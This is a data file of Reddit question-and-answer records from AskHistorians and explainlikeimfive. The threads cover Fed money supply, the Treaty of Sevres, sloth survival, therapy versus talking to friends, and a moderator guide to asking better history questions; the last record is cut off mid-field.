{"q_id": "7h41h4", "title": "Why did the Federal Reserve Bank of the U.S. begin massively increasing the rate of inflation of the dollar around 1970?", "selftext": "[This chart](_URL_0_) from the Federal Reserve Bank of St. Louis, shows the supply of U.S. currency over time. \n\nFrom the beginning of the chart (1918) through about 1968, the rate of inflation Y/Y is low. Following 1972ish, the rate of inflation goes up very rapidly Y/Y and the money supply skyrockets. Even ignoring the post 1997 portions of this chart, which are outside the scope of this subreddit, the Fed seems to have had a policy of massively increasing inflation and the rate thereof through the 30-year period between 1968 and 1998. Why? Or am I misreading this?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7h41h4/why_did_the_federal_reserve_bank_of_the_us_begin/", "answers": {"a_id": ["dqocs9i"], "score": [7], "text": ["This chart doesn't equate to rates of inflation, it measures the money supply in absolute terms.\n\nFirstly; it measures the money supply in linear terms, but inflation is geometric. A steady 2% yearly inflation yields steadily growing yearly increases: 100- > 102- > 104.04 and so on. This gives an exponential curve on a linear graph such as yours.\n\nSecondly: The money supply is a reflection of the total amount of goods in a system. As the economy grows the total value of everything in it grows too and more physical money is needed to allow trade among people. This doesn't affect the purchasing power of the money in your hand at all.\n\nThis is not too say inflation doesn't happen. Increases in the cost of linchpin goods such as gasoline, such as happened during the OPEC crisis, can increase the cost of practically everything and this shows up as inflation on most metrics used to track it.\nThe government does use the money supply to try to control inflation, typically around 2.5% annually. The consistency is essentially to lower the risk to speculators to encourage investment in the economy and the positive figure is a stealth tax on liquid capital, again designed to encourage people to invest in the economy. \nWe live in a capitalist system (society is organised around the needs of the money), so capital mobilization efforts like this are one of the most important activities of government."]}, "title_urls": [], "selftext_urls": ["https://i.redditmedia.com/_paLD75sPD9te5eZqdeUwHkV7XXpZ4QmPsa60DyKdSg.jpg?w=630&amp;s=590f7269bcc5e6e502d9f1e6575cf731"], "answers_urls": [[]]}
{"q_id": "2qrg6m", "title": "Why could the Ottoman Empire reject the Treaty of Sevres and later sign a treaty with more favorable conditions?", "selftext": "Of all the nations who lost in WWI and were subject to more or less harsh peace treaties, only the Ottoman Empire managed to reject theirs, and later signed the Treaty of Lausanne which provided them with much more favorable conditons.\n\nWhy could they do that? Why couldn't e. g. Germany reject the Treaty of Versailles and later come up with a more favorable treaty?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2qrg6m/why_could_the_ottoman_empire_reject_the_treaty_of/", "answers": {"a_id": ["cn8uk2l"], "score": [7], "text": ["Since nations are sovereign, they can in practice reject any treaty at any time. It's up to the other parties to enforce it. Germany also latter violated the treaty of Versailles.\n\nIn Turkey's case, they rejected Sevres and successfully fought off the Allies (see [Turkish War of Independence](_URL_0_)), and afterwards Turkey and Allies signed another treaty."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Turkish_War_of_Independence"]]}
{"q_id": "30m96g", "title": "why don't sloths die out? they don't seem to have any defense mechanism.", "selftext": "EDIT: Please unban /u/SlothFactsBot :(  \nEven though, thanks for all the replies!  \nEDIT 2: [Cute](_URL_0_)  [Cute 2](_URL_1_)", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/30m96g/eli5_why_dont_sloths_die_out_they_dont_seem_to/", "answers": {"a_id": ["cptp914", "cptpl5g", "cptpn12", "cptpnh4", "cptpvoh", "cptq295", "cptq8x9", "cptqa69", "cptqsvm", "cptqz9j", "cptre3i", "cptrqx4", "cptsg3u", "cptsig9", "cptslfn", "cptswkq", "cpttevw", "cpttg2e", "cpttqos", "cpttsgs", "cpttvey", "cptutv0", "cptv1y0", "cptv7pa", "cptv94i", "cptviix", "cptvjxn", "cptvldk", "cptvm5m", "cptw3uf", "cptwcfc", "cptwuin", "cptww0i", "cptx504", "cptx9hq", "cptxa1c", "cptxf0i", "cptxvv3", "cptyvoa", "cptywfv", "cptyy7a", "cptz7ui", "cptzc25", "cpu0k4f", "cpu0kvc", "cpu0pyq", "cpu0r94", "cpu0rh7", "cpu0u3j", "cpu118j", "cpu1it3", "cpu1j6e", "cpu2j84", "cpu2jce", "cpu3aam", "cpu3fwg", "cpu4r5n", "cpu5wbr", "cpu65eb", "cpu6733", "cpu6x24", "cpu6zzj", "cpu7jge", "cpu7khm", "cpu7wnb", "cpu8g7x", "cpu8p6f", "cpu94x0", "cpuauth", "cpucvae", "cpudl9i", "cpufq5h", "cpujhnt", "cpuk4z6", "cpukq1h"], "score": [680, 1375, 7, 328, 4125, 775, 55, 3883, 46, 55, 5, 1258, 43, 2, 30, 230, 49, 16, 2, 4, 5, 3, 2, 10, 2, 2, 2, 5, 2, 2, 350, 3, 7, 5, 2, 2, 3, 3, 3, 6, 2, 5, 3, 3, 5, 5, 3, 13, 4, 2, 10, 2, 2, 70, 3, 5, 2, 3, 2, 7, 5, 4, 5, 3, 3, 3, 2, 2, 3, 6, 2, 3, 3, 2, 3], "text": ["Have you seen their [claws](_URL_0_)?\n\nThey also are well [camoflaged](_URL_1_).\n\nThey also can stay high in trees, where it is hard for jaguars and humans to catch them.", "The only time they're in real danger is when they climb down once a week to take a dump on the ground.", "Sloths are so cool, They do however have to watch out for Harpy Eagles", "There used to be a species of giant sloths in Central and South America.    \nThey died out about 11 thousand years ago, now guess what species arrived in the region 12 thousand years ago. ", "When sloths do die, it is usually because they got attacked by jaguar while pooping, which they have to go down to the ground to do, because if they poop in the trees it would likely get stuck in their fur. Apparently not pooping on yourself is so advantageous it's worth the risk of being eaten by a jaguar. Evolution bitches.  \n\nIt seems a common question here is, well can't jaguars climb trees?\n\nYes they can, and I'm sure not all predation literally occurs on the ground, simply close to it. I would imagine a sloth having just finished pinching one off, who retreated too slowly back to his leafy sanctuary could be easily dragged down to nom nom upon. This brings me to the point of answering the original question their defense mechanism is their extreme elusiveness and inaccessibility from predation. Sure they get fucked up by the occasional jaguar, eagle, as well as likely big ol tree snake, but by and large they can remain safe and hidden. \n\nLastly, be sure to read the comments about the super awesome extra bio nerdy mutualism that occurs between the sloth and moths/algae that also influences their pooping behavior. That shit is cray ", "Twice in as many days. This bot will run out of facts about sloths soon. ", "They live up in trees (hard to reach for many predators).\n\nThey have good camouflage (hard to find/see).", "Sloths are basically bags of intestines digesting leaves. They have almost no meat at all. On the outside, they are covered in long, wirey, matted hair that's often full of plant and mold growth.  Nothing bothers to eat them because they are a gross, difficult, and almost pointless to eat.\n\nedit:  Well, this blew up while I was out!  I'll mention that all I know about sloths I learned from the great Sir David Attenborough.  This is pretty much the source of my info [Mouldy Sloth: Amazing Animals](_URL_1_) Also, don't miss [David Attenborough : Saying Boo to a Sloth](_URL_0_)", "Sloths defense mechanism is moving so slow that predators do not distinguish movement, hence they don't offer a target.", "They're very well camouflaged. Their fear response is to freeze in a position that makes them seem like a bird nest", "They probably taste terrible so nothing eats them. Sounds good", "I was on the Amazon River and I saw a sloth fall into it, it moved pretty damn fast to get out.", "besides the camoflauge that obscures their appearance, which another poster already mentioned, the sloth's stillness also helps it hide.  A predator's prey drive is often activated by fleeing prey.  That's why dangling a toy in your cat's face doesn't get much action, but if you use a feather on a string and drag it around, the cat becomes interested.", "I guess sloths have deadly claws \nAlthough it is slow and all it can use its claws to protect itself", "Because they are so cute. It's a defense mechanism. ", "Because they are the stoners of the Jungle. They fuck with nothing, nothing fucks with it. ", "They are like the Vegan dreaded hippie at music festivals (the infamous Wook.) No one really understands how they thrive and survive but somehow it just happens. ", "They can use their claws as slashers and they don't afraid of anything", "Sloths are brilliant animals. The combination of tree living and moving so slowly keeps them alive. Most of the time sloths move so slowly that algae grows on their hair, it's great camouflage. Then to hide even more they barely move. predators don't see them because they are really well hidden.  ", "Sloths' defense are that they move slowly and don't attract predators; they spend almost all their lives in trees so don't attract ground-dwelling predators; they are camouflaged by their appearance, looking like a growth on the tree.  Their main predators are eagles and large hawks, some large snakes, and sometimes tree-climbing jungle cats.  They can live and eat in the top parts of trees where most jungle cats are too heavy to go.  They come down the tree to defecate (about once a week) and females will make a mating calls to attract males who will often go across the ground to reach the tree where the females are.  They also have very strong claws that they can use to swipe a predator, if necessary.\n\nSource:  I live in Costa Rica and sloths live in my back yard.", "Being able to avoid a predator is far more favorable than being able to fight one off.\n\nEdit: spelling.", "In Costa Rica they are one if the largest mammals. Nothing to eat them.", "Have you seen their freakin' claws? Or maybe they're more like talons. Either way, they look like they can wreck you.", "The same reason for why pandas have survived well up until human destruction of their habitat has put pressure on them - they eat a very \"low risk\" food which is amazingly abundant, they don't waste energy, they spend most of their time in an area where they aren't at risk of being preyed upon, and they have few predators.\n\nYou know the story of the tortoise and the hare? Predator animals like lions and wolves play fast-paced, high-stakes game, but animals like sloths play the low risk game.", "Being able to look like your surroundings and being almost still all the time and high up in the trees is a defense.......", "I have heard their claws are really sharp and they can really hurt ", "What would happen to the ecosystem if Sloths were to be extinct? Are they really that \"useless\" in our world?", "Maybe the purpose of life is not just a brutal competition for survival? Maybe there is something more to life, and sloths fit into that purpose.", "Because you are what you eat. Nothing wants to become the sloth.", "Sloths smell fairly gross and are not appetising", "The easiest way to explain this is that sloths are very well adapted to their habitat. Sloths do have defense mechanisms but it does not result with physical altercations for defense, it in fact relies on being inconspicuous and remaining hidden. Camouflage is an excellent strategy to avoid predators, especially in a dense canopy rainforest. \n\nSloths have essentially evolved to develop a more complex digestive system instead of advanced and specialized muscles used for locomotion; a reason why sloths are slow. This specialized digestive system allows them to feed on the tough, leathery and otherwise toxic leaves that make up the forest canopy. They basically decreased their mobility in order to be able to eat a more diverse range of flora that other organisms cannot digest. This allows them to remain in the canopy for most of their time (why leave if you are hidden and also surrounded by a plentiful food source) until traveling to a new nearby tree. \n\nThe slow movement of sloths as a result of this reduction of muscles for locomotion promotes growth of algae on the fur of the sloth, which allows microorganism to live on the fur. This gives a greenish brown tinge to the fur which provides excellent camouflage from predators both above (aerial predators) and below (terrestrial predators). Slow movements and color that blends into the surrounding environment will decrease the chances of being located visually.  When these microorganisms (beetles, moths,etc) that live on the fur and algae die there is an increase in nitrogen content which allows the algae to remain growing. This provide continual camouflage and also seems to be a source of nourishment for the sloth (can eat the algae of fur if necessary for a quick snack). \n\nSloths are crypsis (camouflage) specialists and maintain  mutualistic relationships (two different organisms rely on each other) with algae (provides algae a place to grow while also using it as camouflage and sometimes food), microorganisms (allowing them to live on fur allows increase of algae nutrients) which allow this unique creature to thrive in the rainforest canopy despite their slow movements that would otherwise leave them extremely vulnerable on the ground. \n\n", "They do have a defense mechanism. Each sloth has a complex series of organs that store a large percentage of their kinetic potential, This is why every sloth moves slow, it is waiting for the right prey. This Kinetic energy when unleashed and coupled with the sloths claw like appendages leave no survivors. Hundreds are lost a year to the fierce nature of this horrible animal. BEWARE.", "They're gonna die out, they just haven't gotten around to it.", "Who would want to eat sloths, they nappy as fuck", "Speaking of animals that technically should have died out, ever considered how it is that pandas aren't extinct. ", "So I am actually doing a paper presentation on sloths on Monday. There are two Genera that sloths fall under, either two toed or three toed sloths. (The sloth that you normally see on the internet is a three toed sloth)\n\nOne of the three toed sloths has the slowest metabolism out of the animal kingdom. Its about one third of what it should be. That's a lot!\n\nSloths have communities on their fur. There are a ton of arthropods, different types of moss and even moths that live in fur. There are even moths that only live in sloth hair and lay their eggs in sloth poop. These moths breed on the sloth and possibly also give them algae communities. The moss then is fertilized by the moths and the sloths eat the moss to gain extra nutrients and fats. This also can make them greener (literally) and can camoflage them from predators.\n\nThis mutualism was found in 2013, reported in proceedings B. ", "Do you think the sloths in the second video, when they start to climb trees, have a *click* moment where they realize \"THIS IS WHAT I WAS BORN TO DOOOOOOO\" and slowly amble along?", "They hang out in trees most of thier life and also they can fight back when they need to.", "There defense mechanism is being very still and camouflaged by the algae and stuff growing on their fur. ", "Don't let sloths mislead you. If they need to defend themselves they can use a stored burst of energy they maintain. Sloths aren't weak or slow if they need to defend themselves. Something else really interesting they don't drink water. The Sloth sanctuary of Costa Rica is a beautiful place to visit if you ever get the chance.", "The Giant Ground Slot was a badass animal. Sadly, they must have been worth eating :(", "Ever seen a sloth in the wild?\n\nMy grandpa has, he said that the thing was crossing the road and he almost hit it, even though he was going at about 15km/h    \nHe stopped and decided to watch it cross it(was a dirt road) and said it took the little fucker 15 minutes to cross it.      \nI felt like saying this to point out how they unremarkable they are while moving, they are so discrete it's really hard to get one.", "I once read that poachers don't pursue sloths because when they get shot, their claws typically get stuck on tree branches and they don't fall out of the trees. So it's not worth the effort.\n\nAs for natural predators, I don't know.", "Sloths can fuck you up. They don't move quickly most of the time, but they have claws longer than Wolverine's, and when they want to slash your throat, they will. And there's fuck all you can do to stop them, because you won't know it's coming.", "They have three defense mechanisms:\nThey spend most of their lives up in trees.\nThey're covered in disgusting algae.\nThey're not particularly tasty.", "I have it on authority that sloths taste quite terrible so nobody eats them. Their natural foes such as leapords have little access to seasoning (herbs, spices, and the like) and it does not help that they are not very good cooks either. Source: many hours watching natural geographic television in my youth.", "Sloth's defense mechanism is camouflage; their slow locomotion allows them to blend in with the movements of the foliage.", "Slowness is an extremely effective defense mechanism. Most cats hunting response (hardwired over millions of years) is triggered by fast moving objects. Try dragging a string in front of your cat AT SLOTH SPEEDS, your cat will lose interest and go create mayhem and destruction in another part of your home and you will fall asleep with the string in your hand. ", "Not dying off, but definitely in the process of evolving into something far less cool:\n_URL_0_", "I don't know about anything else, but they fucking taste awful.", "Sloths smell horrible.  Most predators probably have no desire to eat something that smells that bad and moves so slow it might as well be dead already.\n", "Have you seen their claws? They have claws. BIG claws. ELI5", "It's because in biology, fitness means being a good fit.  That doesn't always mean kicking everyone else's ass.", "My entire life may have prepared me to answer this question. Like yourself, OP, I too was mystified by the sloth's ability to survive in the jungle. However my questions arose while I was living in the amazon when I was around 12 years old. We had already caught a few brought them back to the city and like clockwork every two months after surviving in our backyard haven they would one day fall out of a tree and die. So i decided to become an expert on sloths and read every available resource until it came to me. I wish I could recall the name of the author but it was a book hand drawn and written in the early 1900's dedicated to the sloth. It is because of these observations and hours of research that I have come to hate the sloth.\n\nSloths have no real defense other than absence of smell. Fungus/mold grows on them that basically gives them the same odor as trees. They sleep for 80% of the rest is spent mostly foraging for food.\n\nNow after this is thought, wow, not much of a defense and the snakes, ocelots, piranhas etc. must get them as well. They must fuck like rabbits in order to survive! The female sloth has one baby at a time and because of the difficulty of mating which i will get into momentarily they will often go several years without bearing any young.... I'll let that sink in. Why the difficulty mating? Sloths are pretty much blind. On occasion they will spot each other moving in the same vicinity. One sloth will then pursue (Imagine a sloth chase for a second) however because of its tendency to take naps it will often fall asleep during this adventure. When it wakes up it will sometimes forget what it was doing and go back to foraging. Lets get back to the blind part, do you know how sloths tell each other apart? There is a patch of fur on its back that is a different color. Think for a second, an almost blind animal now on the unlikely chance that it has spotted a potential mate and remembered that it wanted to mate now has to get super close to make sure they aren't the same sex. Crazy and this happens in the jungle surrounded by predators. \n\nI hope this answers your question in the same way mine was answered. I don't fucking know why there are so many of them and Darwin obviously got his whole survival of the fittest spiel wrong.\n\nBonus fact: Know how they travel long distances? They climb out onto a branch and fall into the river. Let the current take them somewhere and boom they are upstream. No idea why since they are super vulnerable in the water. Possible reason to travel could be after spending days trying to get laid to find out he was chasing after a dude. Hope this helps!", "Their main defense mechanism IS their slowness. \n\nMost predators detect movement and respond to it, targeting the prey. Sloths move so slowly and infrequently they rarely trigger attention. \n\nAlso, they are built in such a manner that they can hang in odd positions high in the canopy for long periods of time, reducing the time they are vulnerable on the ground. ", "They're slow speed actually is a defensive mechanism. Because they move so slowly they're difficult to find and well camouflaged. It also helps that many green mosses grow on their fur to help them blend in.  \nSource: Science 10 textbook + Trip to costa rica.", "Sloths , thought slow, can strike with their claws more quickly than a snake. ", "Wait, sloths do have a defense mechanism: they can bite!\nTrue story: one of my ROTC classmates grew up in Panama Canal zone. His Mom stopped the car because they saw a sloth trying to cross the road. Needless to say, the sloth was so dang slow they were afraid that it would be run over. My classmate picked the sloth up, and the sloth bit him! He quickly put the sloth to the side of the road by a tree. \n", "Isn't hanging from branches and being completely still a defense mechanism in itself? ", "Sometimes sloths fall to their death because they grab their own arms thinking they're branches. ", "Dangers typically exist on the forrest floor, sloths having a very slow metabolism eat very little and therefore do not have to frequently visit the forrest floor to take a dump. Being slow and inactive for a great portion of the day is also a good defence. In addition sloths fur turns green when wet (bacteria) and helps them camouflage in the green canopy. ", "Good ol' TV Tropes:\n\n\"The Three Toed Sloth, one of nature's better animals. Mr. Sloth harbors no less than four separate kinds of algae in his fur, causing him to mold green during the wet seasons, allowing plenty of delicious ecosystem for bugs, moths, and worms that decide to infest his fur. Even better, the sloth's digestive system is so slow that he's just a mobile compost heap wrapped in a moldy sweater... how does this crazy critter survive living in the Amazon, where there are more predators than leaves? Simple: No predator would ever want to eat Mr. Sloth, due to his extremely revolting niche lifestyle.\"", "Spending all of their time in the trees helps- nothing can get to them. Their evolutionary advantage is that they conserve energy so well by eating a food source that's everywhere, but leaves are really hard to digest for the small amount of energy you get out of it. \n\nThey are hunted, however, by harpy eagles, which are agile enough to swoop through the trees.", "their defense mechanism is sleeping in a tree ", "A lot of microorganisms grow on the fur of sloths, giving their fur a green tint which acts as camoflauge. So technically camoflauge is their defense mechanism.  Also they have some gnarly looking claws.", "There *were* giant land sloths...and they are loooooonnnng gone. These tree sloths have had the right idea. Unfortunately, we have brought habitat destruction and roads into their world, and they're next.", "On a trip to the tropics I was told, as part of the prep work, something like this: it's OK to cuddle with the three-toed sloths. But the two-toed sloths will rip your face off.\n\nI am not sure if this is actually true, but a quick read of wikipedia suggests that both 2 and 3-toed sloths can use their claws defensively. Have you seen those claws? They are not small. Sloths may have the strength of a small child, but if a 4-year old comes at me with a machete, I'm still running.", "I think it's because they are disgusting and have little meat. Also, I think SlothFactsBot is going to run out of facts soon.", "Their defense is camoflauge via slow movement and plant growth on the fur.", "I think the sloth as perfectly evolved as the shark, just on the complete opposite end of the spectrum. It has reduced effort required to live down to it's most basic unavoidable levels. I admire them", "Besides being hard to find (good camouflage) and hard to reach (living in trees), sloths have an evolutionary advantage of being able to live on foods that other animals can't.  They eat leaves, which don't provide much energy.  That's why they have to move so slowly to save energy.\n\nBut eating leaves gives them an advantage in the jungle, because there are lots of leaves to eat.  There's not too much food available in the jungle.\n\nOverall, it doesn't matter if a few sloths get eaten by jaguars or eagles.  As long as enough of them survive to reproduce at sustainable levels they're fine.", "Sloths have perfectly adapted to their surroundings. Nothing bothers to eat them, because they are basically living intestines with barely any meat.", "fun fact, sloths make a  hugging motion when they die.\n\napparently early hunters who targeted them with guns found it incredibly frustrating to shoot them as they hung in a tree, and watch as the bodies *never* fell down.", "Many predators have motion-based eyesight, so due to the sloth's slow movement and good camouflage, many predators probably don't even see them.", "This is very easy.\nSloths don't die out because they reproduce faster than they die."]}, "title_urls": [], "selftext_urls": ["https://youtu.be/q1mAGQAw3Oc", "https://youtu.be/v2O0H_t-7Pk"], "answers_urls": [["https://c1.staticflickr.com/1/146/370529774_b4e94aca5d.jpg", "http://www.lastwordonnothing.com/wp-content/uploads/2010/09/588px-Hoffmans_Two-toed_Sloth_Monteverde2.jpg"], [], [], [], [], [], [], ["https://www.youtube.com/watch?v=ndMKTnSRsKM", "https://www.youtube.com/watch?v=rLdzZWwxn7w"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://en.m.wikipedia.org/wiki/Megatherium"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "c79spb", "title": "how is it different to talk to a therapist about your emotional problems than just talking to a friend or family?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/c79spb/eli5_how_is_it_different_to_talk_to_a_therapist/", "answers": {"a_id": ["esdzec2", "esdzi3k", "esdzi5o", "esdzj83", "esdznbr", "esdzp71", "ese33b7"], "score": [17, 4, 8, 2, 5, 2, 2], "text": ["They might be better equiped at guiding you to a solution, due to more experience, and it might be easier for you to be open with a stranger you're paying to listen to you, than with a friend/family who you might start feeling like you're burdening. Plus, with the therapist being less involved in your life, they might offer a more objective view than your family", "For me, personally, I appreciate the perspective from someone who is not part of my day-to-day life and has no stake in what happens. Plus they are trained in how to help you come to your own conclusions and work through your internal dialogue. Sometimes you don't realize you know/have an answer until someone asks you directly.", "You can be way more open with a therapist because your relationship is fully contained within the therapy sessions.  You don't have to have a beer with them.  You don't have to play pickup hoops.  You can terminate the relationship at any time.  You never have to feel like what you discussed with them will be brought up at any other time.  It's VERY different.  This is all without even considering the fact that they are trained professionals in therapy which your friends are not.", "A therapist sees things differently than your friends or family do because they are on the outside of your life. Also, by speaking to a therapist you aren\u2019t unloading traumas or expectations onto love ones which can be dangerous and harmful.", "Therapists have (or should anyway) appropriate training to guide the conversation in the \"right\" direction and to offer appropriate advice based on what is said.\n\n & #x200B;\n\nThe professional environment (especially the establish idea of what you say being confidential) also encourages people to be much more open and honest in their discussions whereas when talking to friends or family people often censor certain elements. \n\n & #x200B;\n\nBut - There have been several studies to show that when talking through \"run of the mill\" emotional problems (as opposed to those being influence by a diagnosable mental illness) talking to friends and family can be just as effective (sometimes more so) than talking to a therapist. The primary factor seems to be how much you trust the person you are speaking to - i.e. you'd be better off a lot of the time talking to a friend you trust than a therapist you don't (and vice versa)", "So I have never seen a therapist, but have considered it, to me it's the fact that there is a disconnection. If you tell your friend, there is always a chance they will judge you, your relationship will suffer from details shared, or they will share the information either on purpose or on accident and cause you problems. \n\nSo using a therapist you have no fear of repercussions, they aren't going to tell your friends and family things, or make it awkward to hang out, or call you out in front of others. There is also the added benefit is that a therapist has training to actually assist you with your issues, where as friends will try their best, but may not know what to do. \n\nOn a side note, sometimes you can accidentally burden your friends when confiding in them, forcing them to keep a secret, or asking for help with your issues, and it can cause them stress and lead to them neglecting their own problems. A good friend will dig their own hole to help your fill yours, and not realize till they're too deep.", "I see a psychologist for a range of issues (mostly work and family related) and appreciate a) her objective approach; b) her constructive and solution based approach to handling situations; c) her empathy; d) the different perspectives she offers and strategies on handling different and challenging personalities in home and work life whilst maintaining professionalism and integrity. She is a gem. Only downside is cost, but for the sake of sanity, it\u2019s worth it. Family and friends can be very biased and only tell you what you want to hear. A therapist will rightly challenge your thought processes a little, but at the same time, absolutely support you."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "505nw2", "title": "Rules Roundtable #18: How to Ask Better Questions", "selftext": "Hello everyone and welcome to the 18th installment of our [continuing series of Rules Roundtables](_URL_1_)! This project is an effort to demystify the subreddit and also to gather your feedback to help improve it! We aren't just covering the hard and fast rules though, but also looking at other aspects of the subreddit and the community. This week, we're looking continuing our examination of the question asking process.\n\nOur previous installments looked at our \"[No Stupid Question](_URL_2_)\" approach, and then at how to better [understand periodization and localization to help narrow down scope.](_URL_0_)\n\n###Making Not Dumb Questions More Not Dumber\n\nSo far we've been looking at common pitfalls to questions, but now let's talk about how to avoid them, and how to make your questions really stand out! Asking good questions can often be harder than asking not dumb ones, but to return to Carl Sagan, a little self-criticism can go a long way. \n\nTo reiterate from the earlier installment, our rules are quite broad when it comes to how they are phrased, but if you ask most any flaired user on the subreddit, they will tell you that they get the most enjoyment out of answering questions where they feel that the Question Asker *cares* about the answer. Obviously people aren't coming to this subreddit because they *don't* want their question answered, but putting a bit of time and thought can greatly improve a question, both helping to make your question get noticed in the first place, as well as sound interesting to a potential respondent. While there is always an element of chance, both from experience and observation, these are a few things that we hope users will keep in mind when asking their questions!\n\n###AskHistorians Helps Those Who Help Themselves\n\nBefore you ask your question, put some thought into it! Consider the [pitfalls detailed before](_URL_2_) and use a bit of self-criticism to evaluate what you are asking and what you have written. Do just a couple minutes of research and see if you can build a fuller picture of what you're asking about. Think about how you are framing your question, and what lead you to ask it as you write out the title and the body. None of the following are rule requirements for the sub, but they are suggestions from the mod team based on years of seeing questions both succeed and fail:\n\n####Premises\n\nAs we explored in the last installment, we don't usually remove falsely premised questions, nor questions which are seeking basic facts. But this doesn't mean you should necessarily settle for that! Rather than, say, asking *\"What is the oldest building in the world?\"*, do [some quick searches](_URL_3_), and perhaps ask a question about Barnenez Mound in France or Knap of Howar in Scotland. It appeals more to the interest of respondents, and also helps them formulate a better response.\n\n####Titles\n\nThe most important thing is the title of course! The best titles put forward a clear question that will tell a potential respondent not just what you want to know, but the period and place you are looking for *(Who, What, When, Where)*. If you have multiple sub-questions, it is usually better throw those in the body of the post rather than fill the title to the character limit. A few examples of good titles:\n\n > During World War II, how successful were Japanese codebreakers at deciphering American communications? \n\n > What was the reasoning behind the Western Roman Empire\u2019s decision to allow such massive German immigration?\n\n > How did Anthony Comstock become such a powerful figure that his name became a verb?\n\n > After opening their borders to foreign trade in 1633, why did Japan change course and close them again only a few years later?\n\nAnd some less than stellar examples:\n\n* \"Tell me about Rome!\"\n\n > *Even if the body text includes information to narrow it down and thus avoid breaking the \"Example Seeking\" Rule, the title doesn\u2019t advertise what you are asking! The title should convey what you are asking about. Similar common mistakes such as \"Is my friend wrong about this?\", or one that gives a general sense of the topic without a specific question - \"Status of women in Athens during the 'Golden Age'\" - are also advised against.\n\n* \"In WWI how much leave home could a British soldier expect to get during the year, if any? Did it vary for officer v. enlisted? Did the point in the war matter? How many went AWOL when home? How were they treated by civilians generally?\"\n\n > *This is the opposite direction! A cluttered list of questions that should have been in the body, with only the first one being the title by itself!*\n\n* \"did gengis khan realy knock up haf of asia\"\n\n > *While we are understanding of the fact English isn\u2019t everyone\u2019s first language, attempting to use proper grammar, spelling, and punctuation can make a big difference.*\n\nRemember, the title of the question is the first thing people see, so making it a good one is the most important step!\n\n####Body\n\nSo you have an awesome title for your post, but you can still add some body text. It is by no means required to do so, especially if you have a nice clear title, but if you have any background information - Why you are interested in the question, what you have already learned about the topic, relevant image, etc. - or if you have subquestions to include, this is the place for them! To use one of the example titles, a good body text for the first question might be:\n\n > So I recently read about the Battle of Midway and how the US intelligence played such a key role in the fleet being ready to take on the Japanese. It got me wondering how successful the Japanese were in their own efforts. So a few questions on the matter I\u2019d love to see answered!\n\n > * Were the Japanese able to break the American codes?\n\n > * If so, how aware were the Americans of this fact?\n\n > * Did they enjoy any success against other Allies powers in the Pacific, such as the UK or the Netherlands?\n\n > * Were there any notable successes in the war that could be attributed to their code breaking?\n\nThese all can help the person answering the question get a much better sense of what you are asking, and also, as noted before, they help demonstrate that you've put time and effort into crafting the question as well. Those are qualities that make a flair, or any respondent, more interested in answering a question! Answers which go beyond a simple recitation of facts, or make the writer *think* about their topic are the ones which warm a flair's cockles.\n\n####Keywords\n\nWhile this rehashes much of what we\u2019ve already gone over, as some of you know, [many of the flaired users on this site subscribe to an alert system that will tell them if a question has shown up in their field](_URL_4_)! It works by doing periodic searches for words or phrases that they have specified. So if you are asking about the Civil War, make sure that you have \u201cCivil War\u201d in the title or the body of the post. Again, as a rule of thumb, *\u201cWho, What, When, Where\u201d* should all be readily apparent to the reader and any potential respondent (unless of course one is totally not applicable). Use of common scopes for location and period, as [explained here](_URL_0_), can be very useful in this respect.\n\n###Come Again?\n\nOK Mr. Speedreader, to recap... We try our best not to police how people ask questions, but that doesn't mean you shouldn't put some thought into your questions anyways. Poorly thought out questions often don't get attention, or else don't lead to quality answers. Taking the time to think about a question before posting it can often do a lot of good, so always make sure to think about the \u201cWho, What, When, Where\u201d of your question.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/505nw2/rules_roundtable_18_how_to_ask_better_questions/", "answers": {"a_id": ["d71csg8", "d71grfg", "d72n7q6", "d73m4eh"], "score": [14, 6, 5, 3], "text": ["I would like to point out a few questions that I have answered that play directly into asking better questions.\n\nAs with many flaired users (and even unflaired ones) we have more than likely written an obscene amount on even the most basic areas of our study. Thus asking [What was the history of Italy in WWII?](_URL_1_) is going to get an answer which was - for the most part - almost copied and pasted directly from notes that we have written before. Yes, it's a long answer, but it's not a fun answer. It's a very broad question, and thus it is going to get a very broad answer. \n\nCompare this with a question asking [how much of Italy's involvement in WWII was Mussolini, and how much was on the shoulders of Victor Emmanuel III.](_URL_0_) The question is much more focused, and has a sense of knowing *what* is being asked, the answer (in my opinion) is much better and less scattered. \n\nThis is not to say that somebody needs to know about what they're asking (otherwise, why would we be here?), but that what helps in gaining an answer is knowing the scope of what is being asked. Comparing this to [one of my favorite (and now most shared) comics on history books](_URL_2_) the best questions - from my perspective - are the ones that appreciate the scope of what they are asking. Some people forget that even a few short years of history - and in some cases scant months - can have a *massive* number of things occur during them. ", " >  And some less than stellar examples:\n\n >  >  \"Tell me about Rome!\"\n\nFor more obscure regions/states is that so horrible? honest question.  I, knowing very little, asked a question akin to \"tell me about Qara Qoyunlu!\" (who i only knew as a eu4 nation) and got a solid result from /u/headshotcatcher\n\n_URL_0_\n\n\n\nI'm interested in what people think of this question/others like it. clearly it's not a \"great\" question but what are your meta thoughts on it/that post? what role do these 'bad questions\" have in into places and time periods of history where they have no knowledge base?", "Hehe. I asked the \" *what's the oldest building in the world* \" question. \n\n\nGlad of be of service, even if it's as a bad example ", " > Tell me about Rome!\n\nMight as well just read a text book about Rome"]}, "title_urls": [], "selftext_urls": ["https://www.reddit.com/r/AskHistorians/comments/4y1739/rules_roundtable_17_periodization_and", "https://www.reddit.com/r/AskHistorians/wiki/faq/meta#wiki_rules_discussion", "https://www.reddit.com/r/AskHistorians/comments/4vn3d9/rules_roundtable_16_there_is_no_such_thing_as_a", "https://en.wikipedia.org/wiki/List_of_the_oldest_buildings_in_the_world", "https://www.reddit.com/r/AskHistorians/comments/23cv5v/meta_introducing_askhistorians_alerts/"], "answers_urls": 